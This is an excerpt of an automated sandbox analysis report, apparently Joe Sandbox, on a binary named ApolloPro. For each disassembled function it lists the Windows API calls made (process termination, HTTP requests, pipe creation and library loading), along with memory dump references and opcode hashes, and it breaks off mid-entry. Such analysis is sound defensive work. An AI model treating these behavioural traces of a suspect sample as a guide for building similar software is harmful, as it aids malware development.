                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Virtual
                                                                    • String ID:
                                                                    • API String ID: 4278518827-0
                                                                    • Opcode ID: b784e6cb4bb84452d7182bc997dd50f21fbfd69a84c79b24372907268986df93
                                                                    • Instruction ID: 32dcac2498b6b6124c2924e2032460dd7db77270a4af23661921de30f1e14897
                                                                    • Opcode Fuzzy Hash: b784e6cb4bb84452d7182bc997dd50f21fbfd69a84c79b24372907268986df93
                                                                    • Instruction Fuzzy Hash: 6E0148B09027597DE3008F5A8C85A52FEA8FF59354F00411BA15847941C7B5A868CBE5
                                                                    Function 008159A4 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 008159B4
                                                                    • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 008159CA
                                                                    • GetWindowThreadProcessId.USER32(?,?), ref: 008159D9
                                                                    • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 008159E8
                                                                    • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 008159F2
                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 008159F9
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                    • String ID:
                                                                    • API String ID: 839392675-0
                                                                    • Opcode ID: 99849beb56f0608e43e732e1b9ef9f6c5e045e5906267a3bc199e5c99a8647ef
                                                                    • Instruction ID: 7fd6b86e707207281f9ab627ee1c58d89ef426305875e9cbd994bbbcc48c4aed
                                                                    • Opcode Fuzzy Hash: 99849beb56f0608e43e732e1b9ef9f6c5e045e5906267a3bc199e5c99a8647ef
                                                                    • Instruction Fuzzy Hash: D7F0F936641258BBE6215B929C0DEEF7E7CFBD7B11F00015AFA059105097B01A11CAB5
                                                                    Function 008177EB Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InterlockedExchange.KERNEL32(?,?), ref: 008177FE
                                                                    • EnterCriticalSection.KERNEL32(?,?,007BC2B6,?,?), ref: 0081780F
                                                                    • TerminateThread.KERNEL32(00000000,000001F6,?,007BC2B6,?,?), ref: 0081781C
                                                                    • WaitForSingleObject.KERNEL32(00000000,000003E8,?,007BC2B6,?,?), ref: 00817829
                                                                      • Part of subcall function 008171F0: CloseHandle.KERNEL32(00000000,?,00817836,?,007BC2B6,?,?), ref: 008171FA
                                                                    • InterlockedExchange.KERNEL32(?,000001F6), ref: 0081783C
                                                                    • LeaveCriticalSection.KERNEL32(?,?,007BC2B6,?,?), ref: 00817843
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                    • String ID:
                                                                    • API String ID: 3495660284-0
                                                                    • Opcode ID: 1059a477888da48b06fc69550ccbbad646a153d411497066b7f801ab789d4913
                                                                    • Instruction ID: c31dbc5b43bea3dc36d393c9e1a4e9c081640dfc98e68bd7afd11c10f6cdfb9c
                                                                    • Opcode Fuzzy Hash: 1059a477888da48b06fc69550ccbbad646a153d411497066b7f801ab789d4913
                                                                    • Instruction Fuzzy Hash: 50F0823A555222ABD7122B64EC8CAEB7779FF46702F140825F303951E1CBF55841CF60
                                                                    Function 0080954A Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00809555
                                                                    • UnloadUserProfile.USERENV(?,?), ref: 00809561
                                                                    • CloseHandle.KERNEL32(?), ref: 0080956A
                                                                    • CloseHandle.KERNEL32(?), ref: 00809572
                                                                    • GetProcessHeap.KERNEL32(00000000,?), ref: 0080957B
                                                                    • HeapFree.KERNEL32(00000000), ref: 00809582
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                    • String ID:
                                                                    • API String ID: 146765662-0
                                                                    • Opcode ID: 2018e271679178da1c4cec9f4aafbcfbce68cff56f25dd48a21904567ab03b34
                                                                    • Instruction ID: a85a53f84af72f9a0a3b6400830343a2dc001f6384697313ba6283fe0bde1bdb
                                                                    • Opcode Fuzzy Hash: 2018e271679178da1c4cec9f4aafbcfbce68cff56f25dd48a21904567ab03b34
                                                                    • Instruction Fuzzy Hash: A3E0C23A004101BBDA011FE1EC0C95AFF29FB4A722B104620F71581570CB32A460DF50
                                                                    Function 00828CD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • VariantInit.OLEAUT32(?), ref: 00828CFD
                                                                    • CharUpperBuffW.USER32(?,?), ref: 00828E0C
                                                                    • VariantClear.OLEAUT32(?), ref: 00828F84
                                                                      • Part of subcall function 00817B1D: VariantInit.OLEAUT32(00000000), ref: 00817B5D
                                                                      • Part of subcall function 00817B1D: VariantCopy.OLEAUT32(00000000,?), ref: 00817B66
                                                                      • Part of subcall function 00817B1D: VariantClear.OLEAUT32(00000000), ref: 00817B72
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                                    • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                                    • API String ID: 4237274167-1221869570
                                                                    • Opcode ID: 780ec9662689c33d422daf5d1658f81a79a77e6b22a3ded71e5aa5e8bdb78aae
                                                                    • Instruction ID: c30b0ade9d39b4f0ad6ceb525c6c5776dfaa28c43d5e9cd7fa828556d0ffe8b9
                                                                    • Opcode Fuzzy Hash: 780ec9662689c33d422daf5d1658f81a79a77e6b22a3ded71e5aa5e8bdb78aae
                                                                    • Instruction Fuzzy Hash: CA914575604311DFCB10DF24D48495ABBE5FF99314F14892EF88ACB2A2DB30E985CB52
                                                                    Function 0081323D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C436A: _wcscpy.LIBCMT ref: 007C438D
                                                                    • _memset.LIBCMT ref: 0081332E
                                                                    • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0081335D
                                                                    • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00813410
                                                                    • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0081343E
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ItemMenu$Info$Default_memset_wcscpy
                                                                    • String ID: 0
                                                                    • API String ID: 4152858687-4108050209
                                                                    • Opcode ID: c35e5f88dd79d0528de94a62206275cbaca952cdf9d53d418845d517fb8d78ab
                                                                    • Instruction ID: df39f81e5db8eab078d0d7aafd69a8d028bf1d470759bcf09ef2d829a8d3e0d8
                                                                    • Opcode Fuzzy Hash: c35e5f88dd79d0528de94a62206275cbaca952cdf9d53d418845d517fb8d78ab
                                                                    • Instruction Fuzzy Hash: 3151D2316083019BD725AF28D849AABBBECFF55324F04452EF895D3291DB74CE84CB5A
                                                                    Function 00812EFA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 00812F67
                                                                    • GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00812F83
                                                                    • DeleteMenu.USER32(?,00000007,00000000), ref: 00812FC9
                                                                    • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00877890,00000000), ref: 00813012
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Menu$Delete$InfoItem_memset
                                                                    • String ID: 0
                                                                    • API String ID: 1173514356-4108050209
                                                                    • Opcode ID: 16fd4749efdbb8e5cbd6a638bf3fc3ad2309e52d47574bc4f0dbff3cdccd4e61
                                                                    • Instruction ID: 9b2fad89c4e5e8a96e3bb0ba105ab8933ebb1da94beeca52ff61a0bc18bbbc72
                                                                    • Opcode Fuzzy Hash: 16fd4749efdbb8e5cbd6a638bf3fc3ad2309e52d47574bc4f0dbff3cdccd4e61
                                                                    • Instruction Fuzzy Hash: 9F41A5712083419FD720DF29C844B9ABBE8FF89310F14461DF565D7291DB70E995CB52
                                                                    Function 0082DE8E Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0082DEAE
                                                                      • Part of subcall function 007C1462: _memmove.LIBCMT ref: 007C14B0
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharLower_memmove
                                                                    • String ID: cdecl$none$stdcall$winapi
                                                                    • API String ID: 3425801089-567219261
                                                                    • Opcode ID: 1adc42fd74524db5bb30f6e002b333262a0bafdab4fb9ff1299ed3a24c247051
                                                                    • Instruction ID: c20040a2f582cc9ed68f31aeb9287db2a93360478b1334dbbc7e8ad488247d08
                                                                    • Opcode Fuzzy Hash: 1adc42fd74524db5bb30f6e002b333262a0bafdab4fb9ff1299ed3a24c247051
                                                                    • Instruction Fuzzy Hash: D531A070600229EFCB10EF94C941AAEB7B4FF15310B10862EF966E76D2DB35A945CB90
                                                                    Function 00809A48 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C1A36: _memmove.LIBCMT ref: 007C1A77
                                                                      • Part of subcall function 0080B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0080B7BD
                                                                    • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00809ACC
                                                                    • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00809ADF
                                                                    • SendMessageW.USER32(?,00000189,?,00000000), ref: 00809B0F
                                                                      • Part of subcall function 007C1821: _memmove.LIBCMT ref: 007C185B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$_memmove$ClassName
                                                                    • String ID: ComboBox$ListBox
                                                                    • API String ID: 365058703-1403004172
                                                                    • Opcode ID: d593c7f02a008a7ec29d2e7131ac13af9859f1242cb9ccf5ee14caa3a89c5881
                                                                    • Instruction ID: dcfd4c03545777a0e9f4cc5ed749870311868db58d57dd5184ade1208663b668
                                                                    • Opcode Fuzzy Hash: d593c7f02a008a7ec29d2e7131ac13af9859f1242cb9ccf5ee14caa3a89c5881
                                                                    • Instruction Fuzzy Hash: 9321F272A01104BEDB14EBA4DC5ADFFBB68EF52370F50411DF865E32E2DB3849069A20
                                                                    Function 00821EF9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00821F18
                                                                    • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00821F3E
                                                                    • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00821F6E
                                                                    • InternetCloseHandle.WININET(00000000), ref: 00821FB5
                                                                      • Part of subcall function 00822B4F: GetLastError.KERNEL32(?,?,00821EE3,00000000,00000000,00000001), ref: 00822B64
                                                                      • Part of subcall function 00822B4F: SetEvent.KERNEL32(?,?,00821EE3,00000000,00000000,00000001), ref: 00822B79
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                                                    • String ID:
                                                                    • API String ID: 3113390036-3916222277
                                                                    • Opcode ID: a78a85d8037e1f63d6215543bd13e188aa45a9203b2630665b19ebf8c7b31ecc
                                                                    • Instruction ID: ed375f21f83547d5a50d0ae3d015233aedb812de0e587ca590cdcacb5670a8b6
                                                                    • Opcode Fuzzy Hash: a78a85d8037e1f63d6215543bd13e188aa45a9203b2630665b19ebf8c7b31ecc
                                                                    • Instruction Fuzzy Hash: 2821F2B5604218BFEB119F64ED89EBF77ADFB49754F20001AF905D2200DF349D449BA2
                                                                    Function 00836A0C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 007B214F
                                                                      • Part of subcall function 007B2111: GetStockObject.GDI32(00000011), ref: 007B2163
                                                                      • Part of subcall function 007B2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 007B216D
                                                                    • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00836A86
                                                                    • LoadLibraryW.KERNEL32(?), ref: 00836A8D
                                                                    • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00836AA2
                                                                    • DestroyWindow.USER32(?), ref: 00836AAA
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                                                    • String ID: SysAnimate32
                                                                    • API String ID: 4146253029-1011021900
                                                                    • Opcode ID: 457490502eea7d8bedfa3933c61feeb73334ea37dcc7d55b789549a9b56b7ecd
                                                                    • Instruction ID: 9a6142f7ab0eaf40af2ffad3053b9c98cbfbbced208e6e012afa2c5bf862eed9
                                                                    • Opcode Fuzzy Hash: 457490502eea7d8bedfa3933c61feeb73334ea37dcc7d55b789549a9b56b7ecd
                                                                    • Instruction Fuzzy Hash: 47218E71204219BFEF108F689C80EBB77A9FB95364F14C619FA51E3190E771DC619BA0
                                                                    Function 00817357 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetStdHandle.KERNEL32(0000000C), ref: 00817377
                                                                    • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 008173AA
                                                                    • GetStdHandle.KERNEL32(0000000C), ref: 008173BC
                                                                    • CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 008173F6
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CreateHandle$FilePipe
                                                                    • String ID: nul
                                                                    • API String ID: 4209266947-2873401336
                                                                    • Opcode ID: 657293de28ecf353a3c95117a84bd1130221b7b3845df8014ac85ce4caffd03d
                                                                    • Instruction ID: 393949fd7840eae037e6399e85c0dca4a623f1c300ba6322c649acef651dfc22
                                                                    • Opcode Fuzzy Hash: 657293de28ecf353a3c95117a84bd1130221b7b3845df8014ac85ce4caffd03d
                                                                    • Instruction Fuzzy Hash: 9F216B7450820AABDB208F68DC05ADA7BB8FF45724F604A2DFDB1D72D0D7B09890DB60
                                                                    Function 00817425 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetStdHandle.KERNEL32(000000F6), ref: 00817444
                                                                    • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00817476
                                                                    • GetStdHandle.KERNEL32(000000F6), ref: 00817487
                                                                    • CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 008174C1
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CreateHandle$FilePipe
                                                                    • String ID: nul
                                                                    • API String ID: 4209266947-2873401336
                                                                    • Opcode ID: 99f7b6e0a20d390b13afd19f8698b295886b037d2a10250db90e9735cd8d0026
                                                                    • Instruction ID: c827b79b44607c43ab5d587c3fe7bcb33d5ea425d29c196d41e5a55d04203b8d
                                                                    • Opcode Fuzzy Hash: 99f7b6e0a20d390b13afd19f8698b295886b037d2a10250db90e9735cd8d0026
                                                                    • Instruction Fuzzy Hash: 0421B0356082069BDB209F689C44ADA7BBCFF55734F200A1DF9A2E72D0DB709881CB59
                                                                    Function 0081B283 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetErrorMode.KERNEL32(00000001), ref: 0081B297
                                                                    • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0081B2EB
                                                                    • __swprintf.LIBCMT ref: 0081B304
                                                                    • SetErrorMode.KERNEL32(00000000,00000001,00000000,00840980), ref: 0081B342
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorMode$InformationVolume__swprintf
                                                                    • String ID: %lu
                                                                    • API String ID: 3164766367-685833217
                                                                    • Opcode ID: 2ca551b92cf35e8a8624998691bf24b0acbd1650470deabe53b97a78852a1d11
                                                                    • Instruction ID: ccd28212f39eb498336a98c446b5e2b0333f875b6dc28ec9496e21957f6eb9e4
                                                                    • Opcode Fuzzy Hash: 2ca551b92cf35e8a8624998691bf24b0acbd1650470deabe53b97a78852a1d11
                                                                    • Instruction Fuzzy Hash: DE213E35A00109AFCB10DFA5CC49EAEBBB8FF49704B104069F905D7392DB75EA45DB61
                                                                    Function 0080AC05 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C1821: _memmove.LIBCMT ref: 007C185B
                                                                      • Part of subcall function 0080AA52: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0080AA6F
                                                                      • Part of subcall function 0080AA52: GetWindowThreadProcessId.USER32(?,00000000), ref: 0080AA82
                                                                      • Part of subcall function 0080AA52: GetCurrentThreadId.KERNEL32 ref: 0080AA89
                                                                      • Part of subcall function 0080AA52: AttachThreadInput.USER32(00000000), ref: 0080AA90
                                                                    • GetFocus.USER32 ref: 0080AC2A
                                                                      • Part of subcall function 0080AA9B: GetParent.USER32(?), ref: 0080AAA9
                                                                    • GetClassNameW.USER32(?,?,00000100), ref: 0080AC73
                                                                    • EnumChildWindows.USER32(?,0080ACEB), ref: 0080AC9B
                                                                    • __swprintf.LIBCMT ref: 0080ACB5
                                                                    Strings
                                                                    Memory Dump Source
